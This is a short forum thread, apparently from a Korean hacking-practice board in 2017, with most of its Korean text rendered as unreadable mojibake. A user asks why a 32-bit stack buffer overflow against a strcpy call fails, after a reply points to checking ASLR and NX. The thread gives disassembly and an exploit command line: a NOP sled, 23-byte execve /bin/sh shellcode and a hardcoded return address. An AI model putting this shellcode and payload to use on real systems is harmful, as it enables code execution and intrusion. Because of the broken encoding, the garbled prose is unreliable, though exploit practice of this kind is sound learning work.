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   vngkv123
   64ºñÆ® bof°ü·ÃÁú¹®

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1836 [º¹»ç]


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  Hit : 3533     Date : 2017/03/28 09:01



    
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aslr°ú nx°¡ ¸ðµÎ ¾ø´Â°Ô ¾Æ´Ò ¼ö Àִµ¥
cat /proc/sys/kernel/randomize_va_space ÇßÀ» ¶§ 0ÀÌ ³ª¿Í¾ß Çϰí
http://www.trapkit.de/tools/checksec.html
À̰ɷΠchecksec.sh --file ./binary ÇßÀ» ¶§ NX Disabled°¡ ³ª¿Í¾ß ÇÕ´Ï´Ù
2017/03/28  
vngkv123 0x0804850a <+47>: lea eax,[ebp-0x48]
0x0804850d <+50>: push eax
0x0804850e <+51>: call 0x8048380 <strcpy@plt>

ÀÌ·¸°Ô 72¹ÙÀÌÆ® + 4¹ÙÀÌÆ® sfp + 4¹ÙÀÌÆ® retÀÌ Àִµ¥..

0xffffd560: 0x41414141 ¹öÆÛÀÇ ½ÃÀÛÁÖ¼Ò°¡ ÀÌ·¸°í Æä1À̷ε带

./exploitme `python -c 'print"\x90"*27+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*26+"\x60\xd5\xff\xff"'` 23¹ÙÀÌÆ® ½©Äڵ带 ½á¼­ ³Ö¾ú´Âµ¥ ¾ÈµÇ³×¿ë ¤Ð

checksec.shÀ̶û aslrüũ½Ã NX¶û ¸Þ¸ð¸®·£´ýÈ­´Â ¾ø¾ú¾î¿µ
2017/03/28  
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2017/03/29